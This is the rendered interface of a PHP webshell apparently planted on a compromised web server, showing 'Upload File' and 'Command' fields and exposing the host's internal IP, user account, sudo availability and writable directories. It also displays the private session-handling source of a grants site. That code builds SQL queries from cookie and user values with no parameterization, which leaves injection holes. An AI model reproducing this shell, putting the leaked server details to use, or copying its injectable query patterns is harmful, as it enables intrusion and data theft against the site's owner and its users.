403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/lib/user.php
<?
/**
  * /lib/user.php
  *
  * This file handles any user session controls
  *
  * @copyright 2016-2021 Synergy Pro Marketing
  * @author Aaron Campbell <aaron@synergymentoring.com>
  *	@license None, All Rights Reserved
  * @package Layout
  * @filesource
  */

	function userSession($userDB, $db)
	{
		$host = $_SERVER['SERVER_NAME'];
		$siteURL = explode('.', $host);
		if(strpos($host, 'www.') !== false)
		{
			$site = $siteURL[1];
			$domain = $siteURL[1].".".$siteURL[2];
		}
		else
		{
			$site = $siteURL[0];
			$domain = $siteURL[0].".".$siteURL[1];
		}
		$sessions = array();
		$errors = array();
		if(isset($_COOKIE[$site]) && $site)
		{
			$session = $_COOKIE[$site];
		}
		if(isset($_COOKIE[$domain]) && $domain)
		{
			if(empty($session))
			{
				$session = $_COOKIE[$domain];
			}
		}
		if(isset($_SESSION['session']))
		{
			$session = $_SESSION['session'];
			$sessions["cookie"] = $site;
			$sessions["session"] = $session;
		}
		$newSession = array();
		if(!empty($session))
		{
			$session = clean($session);
			$newSession = $db->query("
										SELECT 	s.session,
												lr.id,
												lr.email,
												lr.user,
												lr.first,
												lr.last,
												lcl.id AS lead_id,
												lr.active
										FROM $userDB.sessions AS s
										INNER JOIN $userDB.lc_reseller AS lr
											ON s.user = lr.id
										LEFT JOIN $userDB.lc_leads AS lcl
											ON lcl.customerID = lr.id
										WHERE
												s.session = '$session'
											AND
												s.expires >= '".date("Y-m-d H:i:s")."'
											AND
												lr.active = 1
										ORDER BY s.expires
										DESC
										LIMIT 1
									");
									if(!$db->valid())
									{
										array_push($errors, $db->error());
									}
			if(count($newSession) > 0)
			{
				$sessions["cookie"] = $site;
				$sessions["session"] = $newSession[0]["session"];
				$sessions["user"] = $newSession[0]["id"];
				$db->query("
								DELETE FROM $userDB.sessions
								WHERE
										expires < NOW()
							");
				$sessions["email"] = $newSession[0]["email"];
				$sessions["username"] = $newSession[0]["user"];
				$sessions["firstName"] = $newSession[0]["first"];
				$sessions["lastName"] = $newSession[0]["last"];
				$sessions["lead"] = $newSession[0]["lead_id"];
				$sessions["greeting"] = "Welcome Back";
				if(!empty($sessions['session']))
				{
					setcookie($site, $session, time() - 3600, $domain);
				}
				/*
				$adminSession = $db->query("
												SELECT
														*
												FROM lc2vxb_lc.lc_reseller
												WHERE
													email = '".$newSession[0]["email"]."'
											");
				$sessions["adminSession"] = $adminSession;
				if(count($adminSession) > 0)
				{
					$sessions["admin"] = true;
				}
				*/
			}
		}
		if(count($sessions) > 0)
		{
			return $sessions;
		}
	}

	function logout($user="", $session="", $userDB, $db)
	{
		$host = $_SERVER['HTTP_HOST'];
		$siteURL = explode('.', $host);
		if(strpos($host, 'www.') !== false)
		{
			$site = $siteURL[1];
			$domain = $siteURL[1].".".$siteURL[2];
		}
		else
		{
			$site = $siteURL[0];
			$domain = $siteURL[0].".".$siteURL[1];
		}
		$db->query("
						DELETE FROM $userDB.sessions WHERE user = '$user'
					");
		if(!empty($user) && !empty($session))
		{
			unset($_COOKIE[$site]);
			setcookie($site, "1", -1, '/', $domain);
		}
	}

	function userData($user, $userDB, $db)
	{
		if(!empty($user))
		{
			$states = $db->query("SELECT * FROM geo.states");
			$userData = $db->query("
										SELECT
												lcr.first,
												lcr.last,
												lcr.email,
												lcr.address1,
												lcr.city,
												lcr.state,
												lcr.zip,
												lcr.phone_1,
												lcr.phone_2,
												lp.gender,
												lp.money
										FROM $userDB.lc_reseller AS lcr
										LEFT JOIN $userDB.lc_leads AS lcl
											ON lcl.customerID = lcr.id
										LEFT JOIN $userDB.lead_profile AS lp
											ON lp.lead_id = lcl.id
										WHERE
											lcr.id = '$user'
									");
			$userData[0]['fname'] = $userData[0]['first'];
			$userData[0]['username'] = $userData[0]['email'];
			if(strtolower($userData[0]['gender']) == "m")
			{
				$userData[0]['gender'] = "male";
			}
			if(strtolower($userData[0]['gender']) == "f")
			{
				$userData[0]['gender'] = "female";
			}
			if(!empty($userData[0]['money']))
			{
				$monies = explode("-", str_replace("$", "", str_replace(",", "", $userData[0]['money'])));
				$userData[0]['money_start'] = $monies[0];
				$userData[0]['money_end'] = $monies[1];
			}
			else
			{
				$userData[0]['money'] = "$0 - $1,000,000";
				$userData[0]['money_start'] = 0;
				$userData[0]['money_end'] = 1000000;
			}
			if(empty($userData[0]['employment_status']))
			{
				$userData[0]['employment_status'] = "unknown";
			}
			if(empty($userData[0]['ethnicity']))
			{
				$userData[0]['ethnicity'] = "unknown";
			}
			if(!empty($userData[0]['state']))
			{
				for($i=0; $i<count($states); $i++)
				{
					if($states[$i]['state_short'] == $userData[0]['state'])
					{
						$userData[0]['state'] = $states[$i]['state'];
						$userData[0]['state_short'] = $states[$i]['state_short'];
					}
				}
			}
			else
			{
				$userData[0]['state'] = "Any";
				$userData[0]['state_short'] = "";
			}
			$userData[0]['state_icon'] = strtolower(str_replace(" ", "", $userData[0]['state']));
			$userData[0]['sub_categories'] = array();
			if(!empty($userData[0]['lead_id']))
			{
				/*
				$userSubCategories = $db->query("
													SELECT
															ps.*
													FROM $userDB.lead_profile_subcategories AS lps
													INNER JOIN lc2admin.profile_subcategories AS ps
														ON lps.profile_subcategory_id = ps.id
													WHERE
														lps.lead_id = '".$userData[0]['lead_id']."'
												");
				$userData[0]['sub_categories'] = $userSubCategories;
				*/
			}
			$subscriptions = $db->query("
												SELECT
														default_trial AS trial,
														default_amount AS amount,
														default_term_length AS term_length,
														default_terms AS terms,
														description,
														name,
														subscription_id,
														type
												FROM $userDB.lc_subscriptions
												WHERE 1
											");
			$userData[0]['subscriptions'] = $subscriptions;
			$userData[0]['userid'] = $user;
			$userData = $userData[0];
			return $userData;
		}
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit